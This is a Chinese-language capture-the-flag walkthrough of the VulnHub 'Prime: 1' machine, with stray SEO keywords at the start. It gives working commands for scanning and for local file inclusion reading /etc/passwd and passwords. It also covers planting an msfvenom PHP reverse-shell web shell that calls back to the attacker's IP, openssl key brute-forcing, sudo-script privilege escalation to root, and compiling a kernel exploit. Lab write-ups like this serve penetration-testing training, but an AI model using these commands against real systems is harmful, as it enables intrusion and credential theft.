阿里云有域名之后怎么建设网站,网站开发公司交易流程,编程入门教学,国家建设部门三类人员官方网站目录
环境安装
1.信息收集
收集IP
端口扫描
目录扫描 目录文件扫描
查找参数
打Boss
远程文件读取
木马文件写入
权限提升
方法一
解锁密钥
方法二#xff1a;
linux内核漏洞提权
总结 环境安装
Kali2021.4及其prime靶机
靶机安装#xff1a;Prime: 1 ~ Vul…目录
环境安装
1.信息收集
收集IP
端口扫描
目录扫描 目录文件扫描
查找参数
打Boss
远程文件读取
木马文件写入
权限提升
方法一
解锁密钥
方法二
linux内核漏洞提权
总结 环境安装
Kali2021.4及其prime靶机
靶机安装Prime: 1 ~ VulnHub 解压后点击下面选中文件选择虚拟机打开即可 然后修改一下设置采用NAT模式就行nat可以通过主机与外部网络连接且有独立ip 打开虚拟机即可 1.信息收集
收集IP
arp-scan -l 通过http://ip的形式访问确定了靶机IP为192.168.232.128
端口扫描
nmap ip 开启了22端口ssh服务、80端口http。
目录扫描
dirb http://192.168.232.128 访问/dev发现提示应该深度挖掘 目录文件扫描
dirb http://192.168.232.128 -X .txt,.php,.html,.zip 哦secret.txt快快快 提示我们fuzz一下然后就是github那个网址还有查看location.txt发现直接访问/location.txt并不行那先放一放看看github网站 具体如下
COMMAND wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZsomething
查找参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://192.168.232.128/index.php?FUZZlocation.txt 一大堆是line7应该都不是我们所需要的随便试一个也没有回显现在我们可以添加命令--h; 7 过滤line7
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 --hl 7 http://192.168.232.128/index.php?FUZZlocation.txt 发现file参数此时猜测可能与文件包含有关快快快传入filelocation.txt试试成功 打Boss
远程文件读取
再看看/etc/passwd看看看来只限于读取location.txt文件 根据上述location的提示出现下一个参数secrettier360试试看 空空如也
不过之前还扫出个image.php吗再在传参试试 成功并且可以远程读文件读个/etc/passwd试试发现关键现在再看看/home/saket/password.txt读取到密码follow_the_ippsec。 猜测可能是ssh的密码试试看 看来是不对了。
回看之前web目录扫描的时候看到下列信息 访问看看发现要登录 但是没有Username不过我们不难看出该网站是用wordpress搭建的于是我们就是用专用于改模块的工具看看用户
wpscan --url http://192.168.232.128/wordpress -e 确定了用户名victor
登录看看成功登录 木马文件写入
一个一个看最后发现Appearance-Theme Editor-secret.php这个文件可以更改内容那就插入木马文件吧
kali可以使用msf来生成后木马文件(ip要改为kali的ip)其实传入一句话木马也行然后蚁剑连接但是后续我没有试过了
msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.232.152 LPORT7777 -o mshell.php启动msf
msfconsole //启动
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.232.152
set lport 7777
run 此时就说明连接成功了
但是还要执行一个shell指令才能执行命令行如下 权限提升
方法一
解锁密钥
先 whoami 查看用户 www-data比一般的用户权限还要低。
看看我们能执行的
sudo -l sudo -l 是一个在Unix/Linux系统包括Kali Linux中用于查询当前用户所拥有的sudo权限的命令。当你执行 sudo -l 时系统会列出你作为当前用户可以执行哪些命令以及使用sudo时无需再次输入密码的命令配置。 访问/home/saket/enc权限不够那我们看看别的 cat enc也行不通但是由上图发现enc有执行权限不管什么先执行看看 要输入密码试试之前那个如上没有任何回显说明密码不对但是一般而言对于密码系统都会有备份文件试着找一下
find / -name *backup* 2/dev/null | less| sortfind /在根目录寻找包含backup字符串的文件
2/dev/null: /dev/null 是一个特殊的文件它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足)只保留正常输出
| less 把前的指令内容用less指令执行
| sort 把输出内容以以首字母排序 找到可疑文件查看试试 拿到可疑密码backup_password 密码正确权限不够但是此时好像跟enc.txtkey.txt有关那就看看 顺便看一下又得知enc是一种openssl加密方式、key即为密钥
openssl解密
命令
echo {要解密的字符串} | openssl enc -d -a -{解密算法} -K {key值}{key}必须为十六进制编码
md5加密
echo -n ippsec | md5sum
转为十六进制
echo -n 366a74cb3c959de17d61db30591c39d1 | od -An -t x1 |tr -d |tr -d \n| od -An -t x1管道 (|) 将 echo 输出的内容传递给 odoctal dump命令。-An 参数表示不打印地址-t x1 表示以十六进制形式输出每个字节。
| tr -d trtranslate命令用于删除指定字符这里的 -d 表示删除所有空格。
| tr -d \n再次使用 tr 命令删除所有的换行符\n。然后把openssl的解密方法下载至CryptType文中 红线以下的内容全部保存在CryptType文件中 然后使用批解密的方式进行解密 for i in $(cat CryptType);do echo nzEiKr82Kh8BOQg0k/LViTZJup9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKIdB3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkbbFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm/aWWVMxDOwKuqIT1ZZ0Nw4 | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2/dev/null; echo $i;doneaes-256-cbc解密成功 根据提示有可能是ssh的端口的密码。
ssh saketip 成功连接现在至升到了一般用户接下来提权到root
继续看看可执行的命令sudo -l 提示到/home/victor/undefeated_victor所以sudo /home/victor/undefeated_victor
然后我们可以执行一个python命令来优化命令执行
python -c import pty;pty.spawn(/bin/bash) 使得$变为了saketubuntu方便我们更好查看所属目录
再根据上上图片的提示发现没有找到/tmp/challenge应该是要我们自己创建
几乎要先cd /tmp 到该目录下
写入内容
#!/bin/bash
/bin/bash
在上述命令中sudo 会让用户临时以root权限执行 /bin/bash前提是你有足够的权限即已授权sudo且知道sudo密码。 成功写入但后附与该文件执行权限
chmod x challenge
再次执行
sudo /home/victor/undefeated_victor
即可拿到root命令行 读取flag即可 下面展示未使用优化命令行由于已经生成了challenge文件就不比在演示了 方法二
linux内核漏洞提权
此时还是在msf中的
查看内核版本
hostnamectl
或者
uname -a 再创建一个msf的窗口查找内核漏洞 找到后使用下述命令把它copy到家目录(~)下
cp /usr/share/exploitdb/exploits/linux/local/45010.c ~用gcc编译它并保存为yf文件(随便取)
gcc 45010.c -o yf
然后使用msf的upload指令把该文件放在靶机中
upload ~/yf /tmp/45010 然后shell使用终端查看后对该45010文件赋予(x)执行权限。最后 ./45010 执行该文件即可 此处没有成功的原因是kali的版本过高了没有成功。
一般执行之后应该是下图 然后就是到root目录下拿取root.txt就可以了。
总结
大致熟悉了渗透的过程了解了msf的使用以及Linux内核提权解密钥等的方法。